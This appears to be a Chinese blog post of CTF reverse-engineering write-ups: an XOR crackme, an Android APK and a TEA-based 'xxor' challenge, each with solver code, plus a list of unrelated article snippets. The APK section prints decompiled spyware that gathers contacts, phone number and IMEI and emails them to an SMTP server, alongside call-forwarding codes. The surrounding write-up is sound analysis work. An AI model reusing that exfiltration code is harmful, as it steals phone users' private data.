网站查询访问域名/seo外链建设方法
一.[FlareOn4]IgniteMe1
https://files.buuoj.cn/files/02b39b8efca02367af23aa279c81cbec/attachment.zip
根据汇编语言分析
查看需要返回为1的函数
int sub_401050()
{int v1; // [esp+0h] [ebp-Ch]int i; // [esp+4h] [ebp-8h]unsigned int j; // [esp+4h] [ebp-8h]char v4; // [esp+Bh] [ebp-1h]v1 = sub_401020(byte_403078);v4 = sub_401000();for ( i = v1 - 1; i >= 0; --i ){byte_403180[i] = v4 ^ byte_403078[i];v4 = byte_403078[i];}for ( j = 0; j < 0x27; ++j ){if ( byte_403180[j] != byte_403000[j] )return 0;}return 1;
}
可知
// v1 = sub_401020(byte_403078);
int __cdecl sub_401020(int a1)
{int i; // [esp+0h] [ebp-4h]for ( i = 0; *(i + a1); ++i );return i;
}
猜测和strlen相似
// v4 = sub_401000();
__int16 sub_401000()
{return __ROL4__(-2147024896, 4) >> 1;
}
学习一下:
__ROL4__
是一个宏或者函数,用于实现循环左移(Rotate Left)操作,通常在编程中用于位操作。循环左移是指将一个数的二进制表示向左移动指定的位数,并将移出的位重新插入到数的右侧。这个操作在不同的编程环境和编译器中可能有不同的实现和命名。
所以把他变成16进制数0x80070000,
2进制左移4位相当于16进制左移1位,是0x00700008
之后再右移一位是0x380004
加密之后和byte_403000相同,
加密函数
int sub_4010F0()
{unsigned int v0; // eaxchar Buffer[260]; // [esp+0h] [ebp-110h] BYREFDWORD NumberOfBytesRead; // [esp+104h] [ebp-Ch] BYREFunsigned int i; // [esp+108h] [ebp-8h]char v5; // [esp+10Fh] [ebp-1h]v5 = 0;for ( i = 0; i < 0x104; ++i )Buffer[i] = 0;ReadFile(hFile, Buffer, 0x104u, &NumberOfBytesRead, 0);for ( i = 0; ; ++i ){v0 = sub_401020(Buffer);if ( i >= v0 )break;v5 = Buffer[i];if ( v5 != 10 && v5 != 13 ){if ( v5 )byte_403078[i] = v5;}}return 1;
}
分析发现和加密没什么关系,所以不用看了
所以只有一次异或加密,写代码实现
#include<stdio.h>
#include<stdlib.h>
int main()
{unsigned char aIe[] =
{13, 38, 73, 69, 42, 23, 120, 68, 43, 108, 93, 94, 69, 18, 47, 23, 43, 68, 111, 110, 86, 9, 95, 69, 71, 115, 38, 10, 13, 19, 23, 72, 66, 1, 64, 77, 12, 2, 105,
};char flag [39];int i;int v4 = 0x380004;for ( i = 38; i >= 0; --i ){flag[i] = v4 ^ aIe[i];v4 = flag[i];}for(i=0;i<39;i++){printf("%c",flag[i]);}return 0;
}
R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com
二相册1
https://files.buuoj.cn/files/7f0577aa77c0e2997801c070b34047f2/bd3ebe0b-b510-4ace-988f-f61fe1291729.rar
下载完一看是apk文件,拖入gadx-gui中查看,因为提示中有邮箱,所以搜索mail,记得加载所有再查看
发现可能的关键函数,点进去
package cn.baidujiayuan.ver5304;import android.content.Context;
import android.os.AsyncTask;
import android.telephony.TelephonyManager;
import com.sun.mail.imap.IMAPStore;
import java.util.List;/* loaded from: classes.dex */
public class MailTask extends AsyncTask<Integer, Integer, String> {private String content;private Context context;public void run(String content) {String notebooks = "";List<String[]> notes = NoteBook.get(this.context, IMAPStore.RESPONSE);for (String[] note : notes) {notebooks = String.valueOf(notebooks) + note[0] + ":" + note[1] + "\r\n";}TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");String tel = tm.getLine1Number();if (tel == null || tel.equals("")) {Sms getBFlag = A2.getNoteBook(content);tel = getBFlag.phoneNumber;}A2.getNoteBook(content);if (!A2.isEmpty(notebooks)) {TelephonyManager telephonyManager = (TelephonyManager) this.context.getSystemService("phone");String imei = telephonyManager.getDeviceId();A2.sendMailByJavaMail(C2.MAILSERVER, "通讯录(" + tel + "IMEI" + imei + ")", notebooks);}}public MailTask(String content, Context context) {this.content = content;this.context = context;}/* JADX INFO: Access modifiers changed from: protected */@Override // android.os.AsyncTaskpublic String doInBackground(Integer... params) {publishProgress(1);A2.log("拦截消息doInBackground");run(this.content);return "doInBackground:" + this.content;}@Override // android.os.AsyncTaskprotected void onPreExecute() {A2.log("拦截消息后准备发送");}/* JADX INFO: Access modifiers changed from: protected */@Override // android.os.AsyncTaskpublic void onProgressUpdate(Integer... values) {A2.log("拦截消息后准备发送中");}/* JADX INFO: Access modifiers changed from: protected */@Override // android.os.AsyncTaskpublic void onPostExecute(String result) {A2.log("拦截消息后发送结束:" + result);}
}
查看MAILSERVER函数
package cn.baidujiayuan.ver5304;import android.content.Context;
import android.content.SharedPreferences;
import com.net.cn.NativeMethod;
import it.sauronsoftware.base64.Base64;
import java.text.ParsePosition;
import java.text.SimpleDateFormat;
import java.util.Date;/* loaded from: classes.dex */
public class C2 {public static final String CANCELNUMBER = "%23%2321%23";public static final String MAILFROME;public static final String MAILHOST = "smtp.163.com";public static final String MAILPASS;public static final String MAILSERVER;public static final String MAILUSER;public static final String MOVENUMBER = "**21*121%23";public static final String PORT = "25";public static final String date = "2115-11-1";public static final String phoneNumber;static {System.loadLibrary("core");MAILSERVER = Base64.decode(NativeMethod.m());MAILUSER = Base64.decode(NativeMethod.m());MAILPASS = Base64.decode(NativeMethod.pwd());MAILFROME = Base64.decode(NativeMethod.m());phoneNumber = Base64.decode(NativeMethod.p());}public static Date strToDateLong(String strDate) {SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");ParsePosition pos = new ParsePosition(0);Date strtodate = formatter.parse(strDate, pos);return strtodate;}public static boolean isFilter(Context context) {Date lastN = strToDateLong(date);Date currentTime = new Date();return lastN.getTime() - currentTime.getTime() < 0;}public static boolean isServerFilter(Context context) {SharedPreferences mSharedPreferences = context.getSharedPreferences("X", 0);String m = mSharedPreferences.getString("m", A2.FILTERSETUPTAG);return m.equals(A2.FILTERSETUPTAG);}
}
查看数据NativeMethod
学习一下:
在jadx中,"native"指的是原生方法,这些方法在Java代码中声明,但它们的实现位于C或C++编写的本地库中。原生方法使用`native`关键字进行声明,这意味着它们在Java虚拟机(JVM)之外执行,通常用于访问底层系统资源或进行性能关键型操作。在Android开发中,原生方法常用于与NDK(Native Development Kit)交互,以实现更接近硬件层面的功能。
在jadx反编译过程中,原生方法的声明会被识别,但由于它们的实现在本地库中,jadx无法提供这些方法的具体实现细节。用户可能会看到类似`public native String stringFromJNI();`的声明,这表明该方法是一个原生方法,其实现需要在本地代码中找到。
在jadx中,"native"关键字用于声明Java代码中的本地方法,这些方法在Java层声明,但其实现位于C或C++编写的本地库中,通常编译为.so文件。这些本地方法通过JNI(Java Native Interface)与Java代码交互,允许Android应用程序访问底层系统资源或执行性能关键型操作。当jadx反编译包含native方法的Android应用时,它会识别出这些方法,但无法提供其在.so文件中的具体实现细节,因为实现代码位于本地库中,不在Java代码中。
.so文件是C/C++代码编译后的动态链接库,它们在Android应用中用于实现native方法。这些.so文件可以在Android的JNI中被Java代码调用。jadx作为一个反编译工具,可以帮助开发者理解应用程序的结构,包括那些通过JNI调用的native方法。然而,要查看这些native方法的具体实现,需要查看相应的.so文件或C/C++源代码。
所以我们要找到apk文件的.so文件
其中apk就是一个安装包,解压之后在ida中打开.so文件查找即可,因为可以看出是base64加密,所以一般密文最后有"="填充符
查找字符串
在线自定义base64编解码、在线二进制转可打印字符、在线base2、base4、base8、base16、base32、base64--查错网
flag{18218465125@163.com}
三.[GWCTF 2019]xxor1
https://files.buuoj.cn/files/baba20fce498e7b1d5ad774fcb5bc89e/attachment
多学习于此:
BUUCTF [GWCTF 2019]xxor_buuctf xxor-CSDN博客
re题(37)BUUCTF-[GWCTF 2019]xxor-CSDN博客
查壳和找到主函数都没有问题,从分析代码开始
__int64 __fastcall main(int a1, char **a2, char **a3)
{int i; // [rsp+8h] [rbp-68h]int j; // [rsp+Ch] [rbp-64h]__int64 v6[6]; // [rsp+10h] [rbp-60h] BYREF__int64 v7[6]; // [rsp+40h] [rbp-30h] BYREFv7[5] = __readfsqword(0x28u);puts("Let us play a game?");puts("you have six chances to input");puts("Come on!");memset(v6, 0, 40);for ( i = 0; i <= 5; ++i ){printf("%s", "input: ");a2 = (v6 + 4 * i);__isoc99_scanf("%d", a2);}memset(v7, 0, 40);for ( j = 0; j <= 2; ++j ){dword_601078 = v6[j];high = HIDWORD(v6[j]);a2 = &unk_601060;xxor(&dword_601078, &unk_601060);LODWORD(v7[j]) = dword_601078;HIDWORD(v7[j]) = high;}if ( sub_400770(v7, a2) != 1 ){puts("NO NO NO~ ");exit(0);}puts("Congratulation!\n");puts("You seccess half\n");puts("Do not forget to change input to hex and combine~\n");puts("ByeBye");return 0LL;
}
(1)读入代码
for ( i = 0; i <= 5; ++i )
{printf("%s", "input: ");a2 = (v6 + 4 * i);__isoc99_scanf("%d", a2);
}
循环6次,
提示输入,
char **a2
表示一个指向字符指针的指针,所以a2指向v6,
之后读取一个整数,并将其存储在 a2
指向的位置。由于 a2
是 v6
数组中第 i
个元素的地址,所以这个整数将被存储在 v6[i]
中。
(2)查看密文
查看sub_400770可以知道所需要的值,
__int64 __fastcall sub_400770(_DWORD *a1)
{if ( a1[2] - a1[3] == 0x84A236FFLL&& a1[3] + a1[4] == 0xFA6CB703LL&& a1[2] - a1[4] == 1121399208LL&& *a1 == 0xDF48EF7E&& a1[5] == 0x84F30420&& a1[1] == 0x20CAACF4 ){puts("good!");return 1LL;}else{puts("Wrong!");return 0LL;}
}
学习z3解方程
Z3 定理证明器使用教程-CSDN博客
安装好之后就代入数据即可
from z3 import *s = Solver()
a1 = [Int(f'a1[{i}]') for i in range(6)]# 添加约束
s.add(a1[2] - a1[3] == 2225223423)
s.add(a1[3] + a1[4] == 4201428739)
s.add(a1[2] - a1[4] == 1121399208)
s.add(a1[0] == -548868226)
s.add(a1[5] == -2064448480)
s.add(a1[1] == 550153460)# 检查是否有解
if s.check() == sat:print(s.model())
else:print("No solution found.")
(3)加密方式
进入循环,知道v6一共有6个字符串,看到j++,只循环三次,但是在汇编中
j+=2;所以伪代码错误了,应该是v6的每一个数都加密(虽然j+=2也不一定是每一个都加密,但是既然错都错了,所以按照常理来说应该是都加密吧.....)
汇编语言没学过,所以直接抄了....结果还是不太懂.
.text:00000000004007D0 mov [rbp+var_8], rax
.text:00000000004007D4 mov eax, 84A236FFh
.text:00000000004007D9 cmp [rbp+var_18], rax
.text:00000000004007DD jnz short loc_400845
.text:00000000004007DF mov eax, 0FA6CB703h
.text:00000000004007E4 cmp [rbp+var_10], rax
.text:00000000004007E8 jnz short loc_400845
.text:00000000004007EA cmp [rbp+var_8], 42D731A8h
.text:00000000004007F2 jnz short loc_400845
.text:00000000004007F4 mov rax, [rbp+var_28]
.text:00000000004007F8 mov eax, [rax]
.text:00000000004007FA cmp eax, 0DF48EF7Eh
.text:00000000004007FF jnz short loc_400834
.text:0000000000400801 mov rax, [rbp+var_28]
.text:0000000000400805 add rax, 14h
.text:0000000000400809 mov eax, [rax]
.text:000000000040080B cmp eax, 84F30420h
.text:0000000000400810 jnz short loc_400834
.text:0000000000400812 mov rax, [rbp+var_28]
.text:0000000000400816 add rax, 4
.text:000000000040081A mov eax, [rax]
.text:000000000040081C cmp eax, 20CAACF4h
可以注意到,IDA中并没有为tmp1、tmp2声明变量(实际上,它们本不是这个名字,但为了方便阅读而被我改成了这个名字;从汇编窗口可以知道它们均为4个字节的变量(int))
如下代码展示了LODWORD和HIDWORD的结果,乍一看似乎相当不同,但实际上这不过是一种比较别扭的写法罢了
注意到tmp2的结果和a1[1]相同,而将a1[0]的类型换为int之后也将得到与tmp1相同的结果,也就是说,这两个函数并没有起到任何作用,只是做了简单的赋值罢了
(尽管我想说具体问题具体分析,但倘若使用的是LOBYTE和HIBYTE的话,结果就将彻底不同了。但通常来说,出题人并不会特地去这样写,至少一般来说,并没有LODWORD这样的函数)
unsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };
int tmp1, tmp2;
tmp1 = LODWORD(a1[0]);// -548868226
tmp2 = HIDWORD(a1[1]);// 550153460
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/2301_80907001/article/details/142407558
xxor加密函数
__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2)
{__int64 result; // raxunsigned int v3; // [rsp+1Ch] [rbp-24h]unsigned int v4; // [rsp+20h] [rbp-20h]int v5; // [rsp+24h] [rbp-1Ch]unsigned int i; // [rsp+28h] [rbp-18h]v3 = *a1;v4 = a1[1];v5 = 0;for ( i = 0; i <= 63; ++i ){v5 += 0x458BCD42;v3 += (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;v4 += (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;}*a1 = v3;result = v4;a1[1] = v4;return result;
}
可知是tea加密,是对称加密,所以a2unk_601060应该是4个数,而每次传入的是两个数,所以就是j+=2;
所以a2unk_601060是2,2,3,4,对于j来说,只要是熟悉了tea加密,应该能猜出来(算法以32bits 的字为运算单位)
之后写代码实现
#include <stdio.h>
int main()
{int a1[6];a1[4] = 2652626477;a1[1] = 550153460;a1[3] = 1548802262;a1[5] = 2230518816;a1[2] = 3774025685;a1[0] = 3746099070;int a2[4]={2,2,3,4};int i,j;for(j=0;j<6;j+=2)
{__int64 result; // raxunsigned int v3; // [rsp+1Ch] [rbp-24h]unsigned int v4; // [rsp+20h] [rbp-20h]int v5; // [rsp+24h] [rbp-1Ch]unsigned int i; // [rsp+28h] [rbp-18h]v3 = a1[j];v4 = a1[j+1];v5 = 1166789954*64;for ( i = 0; i <= 63; ++i ){v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;v5 -= 1166789954;}a1[j] = v3;a1[j+1] = v4;
}for(i=0;i<6;i++){printf("%x\n",a1[i]);}
}
因为要把数字转换成字符串,所以我输出成16进制数%x,之后因为是6位16进制的数,又因为段序问题,所以直接在devc中再写代码实现字符串输出
printf("%c%c%c", *((char*)&a1[i] + 2), *((char*)&a1[i] + 1), *(char*)&a1[i]);
flag{re_is_great!}
或者用在线网站转成字符串ASCII码转字符串 - ASCII码
flag{re_is_great!}
相关文章:

reverse学习总结(12)
一.[FlareOn4]IgniteMe1 https://files.buuoj.cn/files/02b39b8efca02367af23aa279c81cbec/attachment.zip 根据汇编语言分析 查看需要返回为1的函数 int sub_401050() {int v1; // [esp0h] [ebp-Ch]int i; // [esp4h] [ebp-8h]unsigned int j; // [esp4h] [ebp-8h]char v4; …...

基于“微店 Park”模式下 2+1 链动模式商城小程序的创新发展与应用研究
摘要:本文以“微店 Park”从“开店工具”向“众创平台”的转型为背景,深入探讨 21 链动模式商城小程序在该平台情境下的应用潜力与创新发展路径。通过剖析“微店 Park”的运营模式,包括灵活承租、低成本入驻、多元流量引流等特点,…...

C++11:【列表初始化】【右值引用和移动语义】
目录 一.列表初始化 1.1 C98传统的{} 1.2C11中的{} 1.3C中的std::initializer_list 二.右值引用和移动语义 2.1左值和右值 2.2左值引用和右值引用 2.3引用延长生命周期 2.4左值和右值的参数匹配 2.5右值引用和移动语义的使用场景 2.5.1左值引用主要使用场景 2.5.2移…...

Zookeeper的通知机制是什么?
大家好,我是锋哥。今天分享关于【Zookeeper的通知机制是什么?】面试题。希望对大家有帮助; Zookeeper的通知机制是什么? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Zookeeper的通知机制主要通过Watcher实现,它是Zookeeper客…...

嵌入式蓝桥杯学习1 电量LED
cubemx配置 1.新建一个STM32G431RBT6文件 2.在System-Core中点击SYS,找到Debug(设置为Serial Wire) 3.在System-Core中点击RCC,找到High Speed Clock(设置为Crystal/Ceramic Resonator) 4.打开Clock Configuration ࿰…...

bsmap输出结果解释
关于, , -, --的解释 对应着参考基因组的正链(有义链,非模板链,即hg38的序列,watson链); -代表正链的互补链(正常情况下正链的互补链是负链,但在重硫酸盐处理后正链和负链并不互补…...

【java-数据结构篇】揭秘 Java LinkedList:链表数据结构的 Java 实现原理与核心概念
我的个人主页 我的专栏:Java-数据结构,希望能帮助到大家!!!点赞❤ 收藏❤ 目录 1. Java LinkedList 基础 1.1 LinkedList 简介 1.2 LinkedList 的实现原理 1.3 LinkedList 与 ArrayList 的区别 2. 链表基础 2.1 链…...

macOS运行amd64的镜像
在macOS上运行amd64(x86_64)架构的镜像,通常通过虚拟化或仿真工具来实现。例如,如果你使用的是基于Apple Silicon(M1或M2等)芯片的Mac,那么你的处理器是ARM架构的,而amd64是x86架构&…...

轻量的基于图结构的RAG方案LightRAG
LightRAG出自2024年10月的论文《LIGHTRAG: SIMPLE AND FASTRETRIEVAL-AUGMENTED GENERATION》(github),也是使用图结构来索引和搜索相关文本。 LightRAG作者认为已有的RAG系统有如下两个限制,导致难以回答类似"How does the rise of electric vehi…...

计算机的错误计算(一百七十三)
摘要 给定多项式 在 MATLAB 中计算 的值。输出是错误结果。 例1. 已知 计算 直接贴图吧: 这样,MATLAB 输出了错误结果。因为准确值为 0.2401e-16 . 注:可参看计算机的错误计算(六)。...

【力扣】—— 二叉树的前序遍历、字典序最小回文串
Hi~!这里是奋斗的明志,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 🌱🌱个人主页:奋斗的明志 🌱🌱所属专栏:数据结构 📚本系列文章为个人学…...

linux替换更高版本gcc
实际使用时对与gcc版本有很多要求, 需要在centos上安装更高版本的gcc 1、安装centos-release-scl sudo yum install centos-release-scl2、安装devtoolset,注意,如果想安装7.版本的,就改成devtoolset-7-gcc,以此类推 sudo yum …...

在Java中使用Apache POI导入导出Excel(六)
本文将继续介绍POI的使用,上接在Java中使用Apache POI导入导出Excel(五) 使用Apache POI组件操作Excel(六) 43、隐藏和取消隐藏行 使用 Excel,可以通过选择该行(或行)来隐藏工作表…...

`uni.setClipboardData` 是 uni-app 提供的一个 API 设置系统剪贴板的内容
uni.setClipboardData是uni-app提供的一个API,用于设置系统剪贴板的内容。 使用说明: 使用此API可以将指定的文本内容复制到系统剪贴板,使用户能够在其他应用或页面中粘贴这些内容。 uni.setClipboardData({data: , // 需要复制的内容 suc…...

【大模型微调】pdf转markdown
目前市面上大部分都是pdf文档,要想转换成能训练的文本,调研了各种工具。 觉得MinerU确实不错。 参考此链接进行操作 MinerU/docs/README_Ubuntu_CUDA_Acceleration_en_US.md at master opendatalab/MinerU GitHub 需要注意的几个点: 1. 使用root账户安装的,配置文件在…...

Vue 3 结合 TypeScript基本使用
Vue 3 结合 TypeScript 使用可以提供更加强大的类型检查和开发体验。以下是一些基本的步骤来开始使用 Vue 3 和 TypeScript: 1. 创建项目 你可以使用 Vue CLI 来快速创建一个支持 TypeScript 的 Vue 项目。首先确保你已经安装了 Node.js 和 npm。然后全局安装或更…...

Trotter steps的复杂性分析
总结 • 我们开发了使用汉密尔顿系数结构执行 Trotter 步骤的递归方法,超越了顺序方法。 • #Gate/Step 在汉密尔顿项数上是次线性的,而 #Step 仍然保持交换子缩放。 • 新结果给出了实空间中第二量化电子结构汉密尔顿的最快量子模拟。对第一量化量子模…...

mean,median,mode,var,std,min,max函数
剩余的函数都放在这篇里面吧 m e a n mean mean函数可以求平均值 a a a为向量时, m e a n ( a ) mean(a) mean(a)求向量中元素的平均值 a a a为矩阵时, m e a n ( a , 1 ) mean(a,1) mean(a,1)求矩阵中各列元素的平均值; m e a n ( a , 2 )…...

JavaScript实现tab栏切换
JavaScript实现tab栏切换 代码功能概述 这段代码实现了一个简单的选项卡(Tab)切换功能。它通过操作 HTML 元素的类名(class)来控制哪些选项卡(Tab)和对应的内容板块显示,哪些隐藏。基本思路是先…...

精确电压输出,家电和工业设备的完美选择,宽输入电压线性稳压器
WD5201线性稳压器的核心内容概述: 主要特点 • 高精度输出电压:2%精度。 • 输出电压可调:支持5V、3.3V、2.7V三档输出。 • 优化控制方式:提升效率。 • 宽输入电压范围:80305VAC。 • 无需功率电感和输入高压电…...

深入理解定时器:优先队列与时间轮实现
文章目录 1. 线程池概述线程池的基本特点: 2. 使用线程池的优先队列定时器实现2.1 优先队列定时器实现2.2 解释: 3. 使用时间轮的线程池定时器实现3.1 时间轮定时器实现 4. 总结 在定时器设计中,使用线程池来执行定时任务可以有效提高程序的性…...

autogen-agentchat 0.4.0.dev8版本的安装
1. 安装命令 pip install autogen-agentchat0.4.0.dev8 autogen-ext[openai]0.4.0.dev82. 版本检查 import autogen_agentchat print(autogen_agentchat.__version__)0.4.0.dev8import autogen_ext print(autogen_ext.__version__)0.4.0.dev83. 第一个案例 使用 autogen-age…...

JAVA |日常开发中读写XML详解
JAVA |日常开发中读写XML详解 前言一、XML 简介二、在 Java 中读取 XML2.1 使用 DOM(Document Object Model)方式读取 XML2.2 使用 SAX(Simple API for XML)方式读取 XML 三、在 Java 中写入 XML3.1 使用 DOM 方式写入…...

React 路由与组件通信:如何实现路由参数、查询参数、state和上下文的使用
🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 🍚 蓝桥云课签约作者、上架课程《Vue.js 和 E…...

帮我写一篇关于AI搜索网页上编写的文章是否存在版权问题的文章, 字数在 3000 字左右。文心一言提问, 记录后用.
AI搜索网页上编写的文章是否存在版权问题? 在当今科技飞速发展的时代,AI搜索工具如雨后春笋般涌现,为人们获取信息提供了极大的便利。然而,随之而来的问题是,AI搜索案例中常常出现很多内容缺乏依据,这引发…...

电脑关机的趣味小游戏——system函数、strcmp函数、goto语句的使用
文章目录 前言一. system函数1.1 system函数清理屏幕1.2 system函数暂停运行1.3 system函数电脑关机、重启 二、strcmp函数三、goto语句四、电脑关机小游戏4.1. 程序要求4.2. 游戏代码 总结 前言 今天我们写一点稍微有趣的代码,比如写一个小程序使电脑关机…...

AttributeError: ‘DataFrame‘ object has no attribute ‘append‘的参考解决方法
文章目录 写在前面一、问题描述二、解决方法参考链接 写在前面 自己的测试环境: Ubuntu20.04 一、问题描述 运行开源的python代码的时候,遇到如下问题 AttributeError: DataFrame object has no attribute append二、解决方法 报错中的DataFrame是在…...

java垃圾回收机制介绍
Java垃圾回收机制(Garbage Collection, GC)是Java编程语言中的一项重要特性,它自动管理内存,释放不再使用的对象 1. 堆(Heap): • Java虚拟机(JVM)中用于存储对象实例的内…...

SpringMVC跨域问题解决方案
当Web应用程序尝试从一个源(例如 http://localhost:9090)向另一个不同的源(例如 http://localhost:8080)发起请求时,发现报错: 报错原因:请求被CORS策略拦截了 跨域问题概述 当Web应用程序尝试…...
【语音识别】Zipformer
Zipformer 是kaldi 团队于2024研发的序列建模模型。相比较于 Conformer、Squeezeformer、E-Branchformer等主流 ASR 模型,Zipformer 具有效果更好、计算更快、更省内存等优点。并在 LibriSpeech、Aishell-1 和 WenetSpeech 等常用数据集上取得了当时最好的 ASR 结果…...